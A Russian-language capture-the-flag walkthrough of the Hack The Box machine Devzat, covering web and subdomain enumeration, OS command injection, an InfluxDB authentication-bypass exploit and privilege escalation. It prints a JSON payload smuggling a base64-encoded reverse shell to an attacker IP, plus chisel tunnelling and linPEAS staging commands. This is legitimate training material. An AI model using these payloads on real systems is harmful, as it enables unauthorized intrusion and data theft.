Пентестим веб-сервер и эксплуатируем InfluxDB
В этой статье я покажу, как искать скрытые каталоги и домены на сайтах, затем мы проэксплуатируем инъекцию команд, чтобы получить доступ к хосту, атакуем InfluxDB при помощи готового эксплоита, а потом разберемся, как заставить консольное приложение выдать нам критически важную инфу.
Все перечисленное мы будем проделывать на машине Devzat с площадки Hack The Box. Уровень ее сложности указан как средний.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Мы нашли три открытых порта:
Справка: брутфорс учеток
Поскольку вначале у нас нет учетных данных, нет и смысла изучать службы, которые всегда требуют авторизации (например, SSH). Единственное, что мы можем делать здесь, — перебирать пароли брутфорсом, но машины с HTB почти всегда можно пройти другим способом. В жизни таких вариантов может не быть, к тому же есть шансы подобрать пароль или получить его при помощи социальной инженерии.
Поскольку на SSH нам делать нечего, будем изучать доступный веб‑сайт.
На главной странице встречаем описание мессенджера Devzat, а пройдя чуть ниже — и описание способа подключения.
ssh -l ralf devzat.htb -p 8000
Ни получение списка пользователей, ни какие‑либо сообщения ничего нам не дают. Поэтому перейдем к активному сканированию веба.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearchи DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL;-fc— исключить из результата ответы с кодом 403.
Команда получается следующая:
ffuf -u 'http://devzat.htb/FUZZ' -t 256 -w directory_2.3_medium_lowercase.txt
ТОЧКА ВХОДА
Помимо скрытых каталогов, нужно просканировать и виртуальные хосты (поддомены). Используем тот же ffuf. Для этого мы будем перебирать HTTP-заголовок Host (параметр -H). Поскольку ответ на все запросы будет включать десять строк, отфильтруем их из результата (параметр -fl)
ffuf -u 'http://devzat.htb' -t 256 -H 'Host: FUZZ.devzat.htb' -w subdomains-top1million-110000.txt -fl 10
И находим новый поддомен. Добавим его в файл /etc/hosts.
10.10.11.118 devzat.htb pets.devzat.htb
На странице есть кое‑какие запросы серверных функций, но все равно стоит просканировать скрытые файлы и каталоги. При возникновении ошибки 404 каждый раз будет возвращаться кастомная страница, поэтому исключим эти ответы из конечного результата. Будем фильтровать по объему страницы (параметр -fs).
ffuf -u 'http://pets.devzat.htb/FUZZ' -t 256 -w files_interesting.txt -fs 510
И находим каталог .git. Он должен открыть нам исходные коды. Чтобы загрузить его, используем утилиту Rip-Git из набора dvcs-ripper.
rip-git.pl -v -u http://pets.devzat.htb/.git/
Открыв главный файл main.go, сразу находим уязвимую функцию loadCharacter (строка 40).
В этой функции пользовательский ввод без дополнительной фильтрации подставляется в качестве аргумента командной строки, а это — уязвимость OS Command Injection.
ТОЧКА ОПОРЫ
Отправим запрос на добавление записи на сайте и перехватим его с помощью Burp.
На локальном хосте активируем tcpdump и проверим, пришел ли запрос.
Команда успешно выполнена, а это значит, что можно кидать реверс‑шелл. Есть очень удобный онлайн‑генератор шеллов — Reverse Shell Generator. Нужно указать лишь локальный адрес, порт и тип реверс‑шелла, а он вернет нам две команды: для запуска листенера и для создания обратного подключения. Вдобавок есть разные варианты кодирования шелла.
Запускаем листенер и отправляем команду для создания реверс‑шелла. Я обернул его в Base64, чтобы избежать использования символов, которые веб‑сервер может трактовать по‑разному.
{ "name":"test3", "species":"cat;echo -n L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40MS80MzIxIDA+JjE=|base64 -d |bash"}
Мы получаем доступ к хосту с минимальными привилегиями.
ПРОДВИЖЕНИЕ
Чтобы нащупать возможности для повышения привилегий, будем использовать скрипты PEASS.
Справка: скрипты PEASS для Linux (загрузка через Python и Wget)
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Чтобы воспользоваться скриптом, его нужно сначала загрузить на локальный хост.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь надо загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью Python простой веб‑сервер. После выполнения этой команды веб‑сервер будет прослушивать порт 8000.
А теперь с помощью того же wget на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо дать файлу право на выполнение и выполнить скрипт.
wget http://[ip_локального_хоста]:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
Вывод огромный, но для себя отметим два важных раздела: список процессов и список прослушиваемых портов.
Узнаем, что трафик проксируется через порт 8086, стоит просмотреть, что там. Для проксирования будем использовать инструмент chisel. Запускаем у себя на локальном хосте сервер, ожидающий подключения к порту 5432.
./chisel server -p 5432 --socks5 --reverse
Как описано в справке выше, загружаем на хост версию chisel для Linux и подключаемся, транслируя весь трафик с порта 8086 локального хоста на тот же порт удаленного. В логах сервера увидим сообщение об успешном подключении клиента.
./chisel.bin client 10.10.14.41:5432 R:8086:127.0.0.1:8086
Теперь у нас работает туннель SOCKS5. Просканируем найденный порт с помощью Nmap:
Nmap вывел нам заголовок, из которого мы узнаем, что используется InfluxDB версии 1.7.5. Зная точную версию продукта, стоит сразу поискать готовые эксплоиты.
Справка: поиск готовых эксплоитов
При пентесте лучше всего искать эксплоиты в Google, поскольку этот поисковик заглядывает и в личные блоги, и в самые разные отчеты. Ускорят дело специализированные базы вроде Exploit-DB — там часто можно обнаружить подходящие варианты. Если ты работаешь в специализированной ОС вроде Kali Linux, то эта база у тебя уже есть и для поиска можно использовать утилиту searchsploit.
Мы находим репозиторий с эксплоитом для нужной версии InfluxDB. Этот код эксплуатирует уязвимость, которая заключается в обходе аутентификации, возможной из‑за ошибки в реализации JWT: можно использовать пустой секрет. Первым делом эксплоит перебирает имена пользователей, для этого он затребует соответствующий словарь.
Когда будет найден подходящий пользователь, будут выведены базы данных. Используем юзера devzat.
Получим все данные из таблицы user.
Мы нашли кое‑какие пароли. Пробуем их для смены юзера в системе, находим подходящую учетку и забираем первый флаг.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь нам нужен флаг рута. Для удобства подключимся по SSH. У нас изменился контекст пользователя, поэтому снова проведем разведку на хосте. Повторно запускаем LINPEAS.
В списке доступных для записи файлов обнаруживаем два архива исходников devzat.
А по списку процессов и открытым портам делаем вывод, что devzat запущен для локального хоста, при этом от имени root.
Скачаем обе версии архива, распакуем и просмотрим, какие файлы отличаются. Сделать это можно, сравнивая хеши.
Файл commands.go в dev-версии был изменен. Просмотрим различия в файлах с помощью diff.
В версии dev появилась новая команда file. Ее реализацию мы найдем ниже.
Как видишь, у нас есть возможность прочитать любой файл в системе, предоставив указанный пароль. Подключимся к локальному чату и просмотрим список команд.
Команда file присутствует, что дает нам возможность прочитать вообще любой файл, учитывая, что devzat работает в привилегированном контексте. Поэтому читаем приватный ключ пользователя root.
А теперь подключимся с этим ключом и заберем флаг.
- Канал о хакинге: /me Hacker
- Канал о кодинге: the Coding
- Теневой канал: DarkTron